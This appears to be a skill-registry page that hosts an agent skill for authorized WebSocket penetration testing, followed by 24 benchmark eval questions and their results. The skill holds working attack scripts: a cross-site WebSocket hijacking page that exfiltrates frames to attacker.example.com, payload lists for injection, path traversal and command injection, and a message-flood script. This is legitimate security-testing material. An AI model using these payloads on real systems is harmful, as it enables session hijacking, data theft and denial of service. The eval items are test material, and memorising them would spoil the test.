Ready to supercharge your AI agents?

Install any skill in seconds. Free to start, no credit card required.

Exploiting WebSocket Vulnerabilities · mukul975 | DecimalAI

Exploiting Websocket Vulnerabilities

SkillScore13Maintained

exploiting-websocket-vulnerabilities

Testing WebSocket implementations for authentication bypass, cross-site hijacking, injection attacks, and insecure message handling during authorized security assessments.

Securityby mukul975

Links this skill to your agents and keeps it current with the author’s updates.

Automatic

Security & AppSec pack

1 · One-time — install the CLI (docs ↗)

pip install decimalai

2 · Get the skill — writes .claude/skills/exploiting-websocket-vulnerabilities/SKILL.md

decimalai skills pull exploiting-websocket-vulnerabilities --out .claude/skills/

No CLI? Get the same file — curl · raw file

curl -fsSL --create-dirs -o .claude/skills/exploiting-websocket-vulnerabilities/SKILL.md https://app.decimal.ai/s/exploiting-websocket-vulnerabilities/SKILL.md

Raw file: /s/exploiting-websocket-vulnerabilities/SKILL.md ↗ · machine-readable summary at /s/exploiting-websocket-vulnerabilities.json ↗

In productionGlobal

how this skill behaves on real traffic · last 30 days

No production data for this skill yet — usage numbers appear here once agents start running it.

Anonymized aggregate across every org using this skill — proof from real production use, not a demo.

Does this skill help? · Benchmark: with vs. withoutsign in to run this on your agents

24 test cases from the publisher’s eval.yaml · each run twice on gemini-3.6-flash — with the skill injected, then without · last run 55d ago

Yes — +4% lift · at higher cost+193% tokens0% turns13% of whole cases pass with skill (3/24)

Test case	Without → With	Effect	Δ tokens	Δ turns
case-10	✗→✓	▲ Improved	—	—
case-08	✓→✓	＝ Same ✓	—	—
case-16	✓→✓	＝ Same ✓	—	—
case-04	✗→✗	＝ Same ✗	—	—
case-18	✗→✗	＝ Same ✗	—	—

Showing 5 of 24 cases

SkillSafety

✓ 3 of 3 passed

Code scan15 of 15 checks clean

0 critical · 0 warning · 0 info — scanner v4 — 7/30/2026

live_secretremote_code_executionreverse_shelldata_exfiltrationssrf_metadataagent_snoopinganti_refusaldestructive_commandsobfuscated_unicodeunicode_homoglyphopaque_blobsuspicious_urltool_overreachtrigger_abuseprompt_injection_phrasing

IntentSafe

LLM judge · does the skill do what it claims

ContentClean

LLM judge · policy & harmful-content review

Source

Imported

mukul975 / Anthropic-Cybersecurity-Skills

skills/exploiting-websocket-vulnerabilities/SKILL.md

View on GitHub ↗

License Apache-2.0Imported 8/1/2026Version v1Bundled 2 files · scripts

Skill contents

scripts/

references/

SKILL.md

Exploiting WebSocket Vulnerabilities

When to Use

During authorized penetration tests when the application uses WebSocket connections for real-time features
When assessing chat applications, live notifications, trading platforms, or collaborative editing tools
For testing WebSocket API endpoints for authentication and authorization flaws
When evaluating real-time data streams for injection vulnerabilities
During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs

Prerequisites

Authorization: Written penetration testing agreement covering WebSocket testing
Burp Suite Professional: With WebSocket interception capability
Browser DevTools: Network tab for WebSocket frame inspection
websocat: Command-line WebSocket client (cargo install websocat)
wscat: Node.js WebSocket client (npm install -g wscat)
Python websockets: For scripting custom WebSocket attacks (pip install websockets)

Workflow

Step 1: Discover and Enumerate WebSocket Endpoints

Identify WebSocket connections in the application.

bash
# Check for WebSocket upgrade in response headers
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  "https://target.example.com/ws"

# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
  /chat /notifications /live /stream /realtime /api/ws; do
  echo -n "$path: "
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    -H "Upgrade: websocket" \
    -H "Connection: Upgrade" \
    -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
    -H "Sec-WebSocket-Version: 13" \
    "https://target.example.com$path")
  echo "$status"
done

# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"

# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"

# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket frames

Step 2: Test WebSocket Authentication

Verify that WebSocket connections require proper authentication.

bash
# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing

# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=invalid_or_expired_token"

# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_from_another_user"

# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"

# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out

# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets

async def test_no_auth():
    try:
        async with websockets.connect("wss://target.example.com/ws") as ws:
            print("Connected WITHOUT authentication!")
            # Try sending a message
            await ws.send('{"type":"get_data","resource":"users"}')
            response = await ws.recv()
            print(f"Response: {response}")
    except Exception as e:
        print(f"Connection failed: {e}")

asyncio.run(test_no_auth())
PYEOF

Step 3: Test Cross-Site WebSocket Hijacking (CSWSH)

Check if the WebSocket handshake is vulnerable to cross-site attacks.

bash
# Check Origin header validation on WebSocket upgrade
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://evil.example.com" \
  "https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working

html
<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Host on attacker-controlled server -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// This connects to the target's WebSocket using the victim's cookies
var ws = new WebSocket("wss://target.example.com/ws");

ws.onopen = function() {
  console.log("WebSocket connected (using victim's session)");
  // Request sensitive data through the WebSocket
  ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
  ws.send(JSON.stringify({type: "get_profile"}));
};

ws.onmessage = function(event) {
  console.log("Data stolen: " + event.data);
  document.getElementById("messages").innerText += event.data + "\n";

  // Exfiltrate to attacker server
  fetch("https://attacker.example.com/collect", {
    method: "POST",
    body: event.data
  });
};

ws.onerror = function(error) {
  console.log("WebSocket error: " + error);
};
</script>
</body>
</html>

Step 4: Test WebSocket Message Injection

Assess WebSocket messages for injection vulnerabilities.

bash
# Using wscat for manual message injection testing
wscat -c "wss://target.example.com/ws" \
  -H "Cookie: session=valid_session_token"

# Once connected, send test messages:

# SQL injection in WebSocket message
# > {"action":"search","query":"' OR 1=1--"}

# XSS payload in chat message
# > {"type":"message","content":"<script>alert(document.cookie)</script>"}
# > {"type":"message","content":"<img src=x onerror=alert(1)>"}

# Command injection
# > {"action":"ping","host":"127.0.0.1; whoami"}

# Path traversal
# > {"action":"read_file","path":"../../../etc/passwd"}

# IDOR in WebSocket messages
# > {"action":"get_messages","channel_id":1}
# > {"action":"get_messages","channel_id":2}  (another user's channel)

# Automated injection testing with Python
python3 << 'PYEOF'
import asyncio
import websockets
import json

PAYLOADS = [
    {"action": "search", "query": "' OR 1=1--"},
    {"action": "search", "query": "<script>alert(1)</script>"},
    {"action": "search", "query": "{{7*7}}"},
    {"action": "search", "query": "${7*7}"},
    {"action": "read", "file": "../../../etc/passwd"},
    {"action": "exec", "cmd": "; whoami"},
]

async def test_injections():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=valid_token"}
    ) as ws:
        for payload in PAYLOADS:
            await ws.send(json.dumps(payload))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Payload: {json.dumps(payload)}")
                print(f"Response: {response}\n")
            except asyncio.TimeoutError:
                print(f"Timeout for: {json.dumps(payload)}\n")

asyncio.run(test_injections())
PYEOF

Step 5: Test WebSocket Authorization and Rate Limiting

Check if message-level authorization and abuse controls are enforced.

bash
# Test accessing other users' data via WebSocket
python3 << 'PYEOF'
import asyncio
import websockets
import json

async def test_authz():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=user_a_session"}
    ) as ws:
        # Try accessing User B's private data
        messages = [
            {"type": "subscribe", "channel": "user_b_private"},
            {"type": "get_history", "user_id": "user_b_id"},
            {"type": "admin_action", "action": "list_users"},
            {"type": "send_message", "to": "admin", "as": "admin"},
        ]
        for msg in messages:
            await ws.send(json.dumps(msg))
            try:
                response = await asyncio.wait_for(ws.recv(), timeout=5)
                print(f"Sent: {json.dumps(msg)}")
                print(f"Received: {response}\n")
            except asyncio.TimeoutError:
                print(f"No response for: {json.dumps(msg)}\n")

asyncio.run(test_authz())
PYEOF

# Test rate limiting on WebSocket messages
python3 << 'PYEOF'
import asyncio
import websockets
import json
import time

async def test_rate_limit():
    async with websockets.connect(
        "wss://target.example.com/ws",
        extra_headers={"Cookie": "session=valid_token"}
    ) as ws:
        start = time.time()
        for i in range(1000):
            await ws.send(json.dumps({
                "type": "message",
                "content": f"Flood message {i}"
            }))
        elapsed = time.time() - start
        print(f"Sent 1000 messages in {elapsed:.2f} seconds")
        print("If no rate limiting, DoS is possible")

asyncio.run(test_rate_limit())
PYEOF

Step 6: Test WebSocket Encryption and Protocol Security

Verify transport security and protocol-level protections.

bash
# Check if WebSocket uses WSS (encrypted) or WS (plaintext)
# WS (ws://) traffic can be intercepted by network attackers

# Check for mixed protocols
# Application on HTTPS but WebSocket on WS = insecure
curl -s "https://target.example.com/" | grep -oP "ws://[^\"']+"
# Should only find wss:// (encrypted WebSocket)

# Test Sec-WebSocket-Protocol header handling
wscat -c "wss://target.example.com/ws" \
  -H "Sec-WebSocket-Protocol: admin-protocol"

# Test for compression side-channel (CRIME-like attacks)
# Check if Sec-WebSocket-Extensions includes permessage-deflate
curl -s -I \
  -H "Upgrade: websocket" \
  -H "Connection: Upgrade" \
  -H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Sec-WebSocket-Extensions: permessage-deflate" \
  "https://target.example.com/ws" | grep -i "sec-websocket-extensions"
# permessage-deflate with secrets in messages can leak data via compression

# Test WebSocket connection persistence
# Check if server implements proper timeouts and connection limits

Key Concepts

| Concept | Description | |---------|-------------| | WebSocket Handshake | HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol | | CSWSH | Cross-Site WebSocket Hijacking - exploiting missing Origin validation to hijack sessions | | Origin Validation | Server-side check that the WebSocket upgrade request comes from a trusted origin | | Message-level Authorization | Verifying permissions for each WebSocket message, not just at connection time | | WSS | WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS) | | Socket.IO | Popular WebSocket library with automatic fallback to HTTP long-polling | | Ping/Pong Frames | WebSocket keepalive mechanism; can be abused for timing attacks |

Tools & Systems

| Tool | Purpose | |------|---------| | Burp Suite Professional | WebSocket interception, modification, and history analysis | | wscat | Command-line WebSocket client for manual testing | | websocat | Versatile command-line WebSocket client written in Rust | | Browser DevTools | Network tab WS filter for inspecting WebSocket frames | | Socket.IO Client | Testing Socket.IO-based WebSocket implementations | | Python websockets | Scripting automated WebSocket attack sequences |

Common Scenarios

Scenario 1: Chat Application CSWSH

A real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.

Scenario 2: Trading Platform Message Injection

A trading platform processes WebSocket messages containing order parameters. SQL injection in the symbol field of an order message allows extracting the entire order database through error-based SQLi.

Scenario 3: Missing Message Authorization

A collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.

Scenario 4: Notification Channel IDOR

A notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.

Output Format

## WebSocket Security Assessment Report

**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)
**Severity**: High (CVSS 8.1)
**Location**: wss://target.example.com/ws
**OWASP Category**: A01:2021 - Broken Access Control

### WebSocket Configuration
| Property | Value |
|----------|-------|
| Protocol | WSS (encrypted) |
| Library | Socket.IO 4.x |
| Authentication | Cookie-based session |
| Origin Validation | NOT ENFORCED |
| Message Authorization | NOT ENFORCED |
| Rate Limiting | NOT IMPLEMENTED |

### Findings
| Finding | Severity |
|---------|----------|
| CSWSH - No Origin validation | High |
| Missing message-level authorization | High |
| XSS via chat message injection | Medium |
| No rate limiting on messages | Medium |
| Channel IDOR (subscribe to any channel) | High |
| WebSocket open after logout | Medium |

### Impact
- Private message exfiltration via CSWSH
- Account impersonation through unauthorized message sending
- Cross-channel data access affecting all users
- DoS via message flooding (no rate limits)

### Recommendation
1. Validate the Origin header during WebSocket handshake
2. Implement CSRF tokens in the WebSocket upgrade request
3. Enforce authorization checks on every WebSocket message
4. Sanitize all user input in WebSocket messages (prevent XSS/SQLi)
5. Implement message rate limiting per connection
6. Invalidate WebSocket connections on logout or session expiration
7. Use per-message authentication tokens rather than relying solely on the initial handshake

Illustrative Want to see what exploiting-websocket-vulnerabilities would put in front of your model? Preview the rendered body and check its trigger phrases — no LLM call, no signup.

Latest benchmark · publisher runVerified

7/28/2026, 08:26 UTC · 24 cases

Lift

+4%

13% vs 8%

Agent turns

1.0 vs 1.0

Tokens

+193%

5,102.88 vs 1,740.08

fail → pass · 1pass → pass · 2fail → fail · 21

Per-case results (24)

Case	Status	Duration (ms)			Turns			Tokens			Tool calls
Case	Status	Without	With	Δ	Without	With	Δ	Without	With	Δ	Without	With	Δ
case-04 An automated scanner attempts to find ASP.NET SignalR hubs by making GET requests to /signalr. What specific endpoint path suffix should be requested to initiate SignalR negotiation?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-18 When analyzing network traffic, how can a reviewer distinguish between a raw native WebSocket handshake and a Socket.IO connection initialization?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-11 A developer claims their WebSocket endpoint is protected against DoS attacks. How can an automated Python script verify whether the endpoint enforces frame-level rate limiting?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-19 A web application invalidates session cookies when a user clicks 'Log Out'. How should a tester verify if this logout properly revokes active real-time connections?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-01 Please document the findings from our security review of wss://notifications.app.local/stream, focusing on handshake cross-site vulnerabilities, missing message-level permissions, and message flooding risks. Structure your output as a WebSocket Security Assessment Report containing summary fields for the main vulnerability, severity score, location, and OWASP category; a WebSocket Configuration property-value table; a Findings table showing each issue and severity level; bullet points detailing practical impact; and numbered remediation steps.	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-17 What role do Ping and Pong control frames play in the WebSocket protocol (RFC 6455), and how can an attacker evaluate them for vulnerability?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-05 A tester wants to verify if wss://target.example.com/ws allows anonymous connections using wscat. The tester considers passing dummy credentials. How should wscat be executed to strictly test for missing handshake authentication?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-03 When probing a Node server for Socket.IO endpoints, a scanner defaults to checking /socket.io/?transport=websocket. What specific query parameter and transport mode are used during Socket.IO v4 initial HTTP polling handshake?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-13 What request header should be sent during the WebSocket handshake to test if the server supports per-message compression vulnerable to side-channel leakage?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-14 When testing whether a WebSocket server supports alternate or privileged message protocols during handshake, which header field specifies subprotocol names?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-22 How should an application security tester disable GraphQL introspection in a production Node.js GraphQL server using Apollo Server?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-15 A user receives live alerts after sending {"action": "subscribe", "channel_id": 42} over a WebSocket connection. What security flaw exists if changing channel_id to 43 displays another user's notifications, and how is it fixed?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-08 An engineer needs an HTML proof-of-concept file to demonstrate CSWSH against wss://target.example.com/ws. The script must trigger automated requests upon connection open and exfiltrate received frames to an attacker server at https://attacker.example.com/collect. How should the JavaScript handlers be structured?	pass→pass	—	—	—	—	—	—	—	—	—	—	—	—
case-20 An application features a network diagnostic utility exposed over WebSocket that accepts {"action":"ping", "host":"127.0.0.1"}. How should command injection be tested on this parameter?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-23 When configuring CORS headers on a REST API endpoint to safely allow credentials from https://app.example.com, what exact headers must be returned by the server?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-16 When writing an exploit script using Python's websockets.connect(), how are authentication cookies or custom origin headers passed into the connection call?	pass→pass	—	—	—	—	—	—	—	—	—	—	—	—
case-02 A security analyst wants to draft a curl command to check if https://target.example.com/ws upgrades to WebSocket. A junior tester suggests sending curl -I https://target.example.com/ws without extra headers. What upgrade headers must be added to curl to properly negotiate the protocol switch?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-12 While auditing a web application served over https://target.example.com, an analyst notices real-time updates. How can the analyst verify whether the client connects via an unencrypted WebSocket transport?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-06 A tester obtains a valid session cookie session=valid_user_session from a secondary account and wants to send it during a WebSocket handshake using wscat. What flag syntax should be passed?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-09 When testing a real-time WebSocket connection for SQL injection or cross-site scripting vulnerabilities, where should the injection strings be placed once the handshake completes?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-07 During an audit of https://target.example.com/ws, a curl request is sent with -H "Origin: https://evil.example.com". If the server is vulnerable to Cross-Site WebSocket Hijacking, what HTTP response status code is returned?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-10 An application authenticates users via cookie during the WebSocket upgrade handshake. A reviewer wants to test for broken message-level authorization. What testing method demonstrates if user permissions are re-evaluated per message?	fail→pass	—	—	—	—	—	—	—	—	—	—	—	—
case-21 A real-time file preview component receives WebSocket frames structured as {"action":"read_file", "path":"preview.txt"}. What payload tests for arbitrary file read vulnerabilities?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—
case-24 In Node.js using jsonwebtoken library, how do you prevent algorithm confusion attacks where an attacker switches an RS256 token to HS256?	fail→fail	—	—	—	—	—	—	—	—	—	—	—	—

These cases were also screened by the skill’s intent / safety pass.See the Trust review ↗Reproduce this benchmark in Colab ↗

How this skill was measured

DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 24 cases were attempted. The headline lift of +4 percentage points is the difference between those two pass rates over the 24 comparable cases.

Model measured: gemini-3.6-flash
Graded by: gemini-3.6-flash
Grading method: judged
Verification: verified
Pass rate without the skill: 8.3%
Pass rate with the skill: 12.5%
Cases attempted: 24
Cases counted toward lift: 24
Cases that regressed: 0
Skill version measured: v1
Run completed: 7/28/2026, 08:26 UTC

The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.

SkillScore blends 4 signals1 of 4 complete

BenchmarkPass rate WITH skill on a verified run13

Live evalNeeds ≥10 evaluated traces in 30 days

AI ratingNeeds ≥10 rated traces

AdoptionNeeds ≥10 serves across ≥2 orgs in 30 days

Efficiency · separate axis (at equal correctness)+0% turns+173% tokens

Shown for transparency; not credited unless a verified run shows no correctness regression.

Backed by 1 of 4 signals — each added signal makes the score more robust.

Verified on gemini-3.6-flash · re-tested 54 days ago

Other measured skills in the registry, with their headline benchmark lift.